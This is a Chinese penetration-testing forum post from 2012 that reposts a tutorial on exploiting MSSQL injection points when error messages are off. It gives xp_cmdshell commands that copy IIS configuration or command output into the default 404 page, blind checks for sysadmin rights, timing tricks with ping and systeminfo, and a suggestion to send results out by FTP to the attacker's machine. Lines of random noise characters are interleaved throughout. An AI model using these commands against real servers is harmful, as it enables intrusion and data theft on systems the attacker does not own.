中国网络渗透测试联盟
标题:
28度的冰注入技巧之(一)——404页面的妙用
[打印本页]
作者:
admin
时间:
2012-9-15 14:15
标题:
28度的冰注入技巧之(一)——404页面的妙用
遇到一个sa注入点,mssql错误提示关闭无疑shi让人郁闷的事情。
- t$ W" O9 t& n
. t! g! A' L) y( \0 Q
虽然错误提示关闭也shi可能以列目录,执行命令,但shishi多少就有些不方便。阿D就可能以在错误提示关闭的情况下列目录。
4 g8 h& w' s B5 T# g- \
& f1 _5 b+ ?2 }5 A$ ~4 H
这里有一个很好的方法,让你得到web目录路径,让你得到服务器上的文件,让你执行命令得到回显。
2 e9 v' N5 @2 B4 F6 _' R
, K* M0 B* F( Z/ |8 \
IIS,404页面的默认路径shi C:\Windows\Help\iisHelp\common\404b.htm
6 F$ A3 ^5 |; i# N& x. S, C
2 T2 o. |1 h9 `2 m6 ]9 } f
得到web路径exec master..xp_cmdshell ’copy C:\Windows\system32\inetsrv\MetaBase.xml C:\Windows\Help\iisHelp\common\404b.htm’--
* [" m7 G3 Q7 b9 D- u7 F/ {
! L$ j; Q( f" d! v1 ~' o% U. K
,这shi20003,如果是2000的话,exec master..xp_cmdshell ’copy C:\Winnt\system32 \inetsrv\MetaBase.xml C:\Winnts\Help\iisHelp\common\404b.htm’--,在 MetaBase.xml存着IIS的很多信息。执行上面的语句之后,你再访问一下网站一个不存在的文件或目录,显示的就shiMetaBase.xml 的内容了。
3 p0 r ^* H5 _7 _ ~3 g
+ _/ N/ i2 O+ I8 @
执行命令得到回显
+ h" p; O) w; O
0 J( Z6 G ^1 w
通过上面得到web路径的方法,你肯定很容易想到怎么得到回显了吧。 2003,exec master..xp_cmdshell ’ver >C:\Windows\Help\iisHelp\common \404b.htm’--如果是2000,exec master..xp_cmdshell ’ver >C:\Winnt\Help \iisHelp\common\404b.htm’--
" H7 D) G8 `' A
. b# j* B2 x) _1 W
得到文件也shi相同,把文件copy到404b.htm就行了
5 z! z# o5 V; g7 u, p% y
' \( D+ c9 v0 c. L1 C* I! L& A/ q
by 28ice, 2008/6/26
7 O/ e: b0 C2 l, N. ~& F0 I
8 {* o- r' B s# q
摘自 28度的冰
: v0 l# U; l% N/ h. c# R
4 Z. z, G0 V& U8 i6 I4 x
盲注判断权限和操作系统版本
$ |, a; g, f) x
* W7 K3 d$ k5 y) d* h% g, C
首先第一个问题,如果错误提示关闭,怎么判断当前的权限shi否为sysadmin呢?
2 z( y3 H7 N& X/ G* F2 G" @( S
) | u( h2 S) a- c" o
最简单的,可能以用这样的方法:
6 V; C: D+ E Q# H+ S. }: j0 a
0 j6 T5 V0 o( L& {8 v/ I
1=(select IS_SRVROLEMEMBER(’sysadmin’))
! Y% E# w8 u! ^! o& O: E9 l
. ]% V" h. c$ n4 i% R# `0 A
当然,有些情况下,这个方法并不奏效。
/ j% h$ g0 _* }: ~6 n
' f4 ]6 p9 m. F5 M4 w
既然shisa,我们就可能以通过执行命令判断,不过,既然错误提示关闭,那么执行的结果就很不容易拿到。
a0 a7 C0 T% s1 R% r
9 g, K7 ], t" P$ b: Y& x2 w3 ^
有个3办法可能以解决这个问题
, @3 L7 s- }+ T3 _
/ C) I6 k6 f `8 m4 n( G( J/ j6 V
a.把执行结果写到404b.htm,具体请看我的上一篇文章
; r# q/ q5 Z- `' E4 p! t
6 s) ~5 | @. ?. r1 S
b.执行ping 127.1 -n 10,看看页面shi否延迟10秒钟
+ ]/ s7 w% c9 R, O& [
9 n8 a; o& b t: ?. ~. g" U, v Z# B
c.如果1433端口可能以连接,那干脆新建个sql登录
; f9 t* z/ B7 l0 V/ L; [
, |; B+ Z2 N9 a+ h* K0 r7 Z: B( c6 h* f
d.如果大牛你shi公网Ip,openrowset,或者直接telnet,ftp到你自己的机子,说到这里,ftp还有别的用处,比如,把执行结果写到文件中,然后通过ftp传到你的机子上,这何尝不shi获得执行结果的一个好办法。当然,你可能能要用到ftp的-s参数
6 y4 M. U% P. K4 p- _, [
- o* V. @2 @ I+ a( p& G
还有一个问题,怎么判断系统shi2000还shi2003?当然指的shi错误提示关闭的情况下
9 y/ R& a1 ]" r" t- N+ ]6 b
}" u$ ` [! _) z2 r [- J
很简单
! [) A' v/ |6 R' m) Q8 z
5 d8 x6 X" o6 t! M
执行systeminfo
3 V9 p# @5 o. X9 |5 I
8 N% F0 ?+ a6 B8 _& h' a6 n o
在xp/2003下才有这个命令,这个命令执行大概需要5秒钟时间。如果页面延迟5秒,就可能以进一步断定这shi2003(当然不排除2008的可能能性)。
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2